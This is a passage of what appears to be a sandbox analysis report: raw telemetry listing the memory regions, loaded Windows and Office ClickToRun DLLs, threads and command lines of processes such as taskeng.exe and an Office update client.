entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1594 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1595 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1596 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1597 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1598 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1599 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1600 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1601 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1602 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1603 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1604 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1605 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1606 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1607 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Thread: id = 131 os_tid = 0x330 Thread: id = 132 os_tid = 0x894 Thread: id = 133 os_tid = 0x528 Thread: id = 134 os_tid = 0x15c Thread: id = 135 os_tid = 0x184 Thread: id = 139 os_tid = 0x210 Thread: id = 140 os_tid = 0x68c Thread: id = 141 os_tid = 0x898 Process: id = "10" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x3152d000" os_pid = "0x83c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x36c" cmd_line = "taskeng.exe {13D2BDFD-2552-4F2C-8856-2DB0CAC1D4E5} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1608 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1609 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1610 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1611 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1612 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1613 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1614 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1615 start_va = 0xff2b0000 end_va = 0xff323fff entry_point = 0xff2b0000 region_type = mapped_file name = "taskeng.exe" filename = "\\Windows\\System32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe") Region: id = 1616 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1617 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1618 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1619 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1620 start_va = 0x3c0000 end_va = 0x4bffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 1621 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1622 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1647 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1648 start_va = 0x20000 end_va = 0x26fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1649 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1650 start_va = 0xc0000 end_va = 0xc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 1651 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1652 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1653 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1654 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1655 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1656 start_va = 0x4c0000 end_va = 0x647fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 1657 start_va = 0x650000 end_va = 0x7d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 1658 start_va = 0x7e0000 end_va = 0x1bdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1659 start_va = 0x1be0000 end_va = 0x1fd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001be0000" filename = "" Region: id = 1660 start_va = 0x1fe0000 end_va = 0x20dffff entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 1661 start_va = 0x2180000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 1662 start_va = 0x2230000 end_va = 0x22affff entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 1663 start_va = 0x22c0000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 1664 start_va = 0x2340000 end_va = 0x23bffff entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 1665 start_va = 0x2410000 end_va = 0x248ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1666 start_va = 0x2530000 end_va = 0x25affff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 1667 start_va = 0x25b0000 end_va = 0x287efff entry_point = 0x25b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1668 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1669 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1670 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1671 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1672 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1673 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1674 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1675 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1676 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1677 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1678 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1679 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1680 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1681 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1682 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1683 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1684 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1685 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1686 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1687 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1688 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1689 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1690 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1691 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1692 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1693 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1694 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1695 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1696 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1697 start_va = 0x2880000 end_va = 0x295efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002880000" filename = "" Region: id = 1698 start_va = 0x29c0000 end_va = 0x2a3ffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 1699 start_va = 0x2a90000 end_va = 0x2b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a90000" filename = "" Region: id = 1700 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1701 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1702 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1703 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Thread: id = 136 os_tid = 0x82c Thread: id = 137 os_tid = 0x830 Thread: id = 138 os_tid = 0x834 Thread: id = 144 os_tid = 0xb0 Thread: id = 145 os_tid = 0x1c8 Thread: id = 146 os_tid = 0x7ac Thread: id = 147 os_tid = 0x140 Thread: id = 148 os_tid = 0x554 Process: id = "11" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x35126000" os_pid = "0x838" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x350" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1623 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1624 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1625 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1626 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1627 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1628 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1629 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1630 start_va = 0x13fe30000 end_va = 0x140e72fff entry_point = 0x13fe30000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 1631 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1632 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1633 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1634 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 1851 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1852 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1853 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1909 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1910 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1911 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 1912 start_va = 0x560000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 1913 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1914 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1915 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1916 start_va = 0x7fee5080000 end_va = 0x7fee50d0fff entry_point = 0x7fee5080000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 1917 start_va = 0x7fee50e0000 end_va = 0x7fee5106fff entry_point = 0x7fee50e0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 1918 start_va = 0x7fee52e0000 end_va = 0x7fee52fdfff entry_point = 0x7fee52e0000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 1919 start_va = 0x7fef7a40000 end_va = 0x7fef7ab5fff entry_point = 0x7fef7a40000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 1920 start_va = 0x7fef7b00000 end_va = 0x7fef7b02fff entry_point = 0x7fef7b00000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 1921 start_va = 0x7fef7b10000 end_va = 0x7fef7b12fff entry_point = 0x7fef7b10000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 1922 start_va = 0x7fef7b20000 end_va = 0x7fef7b22fff entry_point = 0x7fef7b20000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 1923 start_va = 0x7fef7b30000 end_va = 0x7fef7b32fff entry_point = 0x7fef7b30000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 1924 start_va = 0x7fef7b40000 end_va = 0x7fef7b44fff entry_point = 0x7fef7b40000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 1925 start_va = 0x7fef7b50000 end_va = 0x7fef7b54fff entry_point = 0x7fef7b50000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 1926 start_va = 0x7fef7b60000 end_va = 0x7fef7b62fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 1927 start_va = 0x7fef7b70000 end_va = 0x7fef7c0cfff entry_point = 0x7fef7b70000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 1928 start_va = 0x7fef7c10000 end_va = 0x7fef7c13fff entry_point = 0x7fef7c10000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 1929 start_va = 0x7fef7c20000 end_va = 0x7fef7c23fff entry_point = 0x7fef7c20000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 1930 start_va = 0x7fef7c30000 end_va = 0x7fef7c32fff entry_point = 0x7fef7c30000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 1931 start_va = 0x7fef7c40000 end_va = 0x7fef7c43fff entry_point = 0x7fef7c40000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 1932 start_va = 0x7fef7c50000 end_va 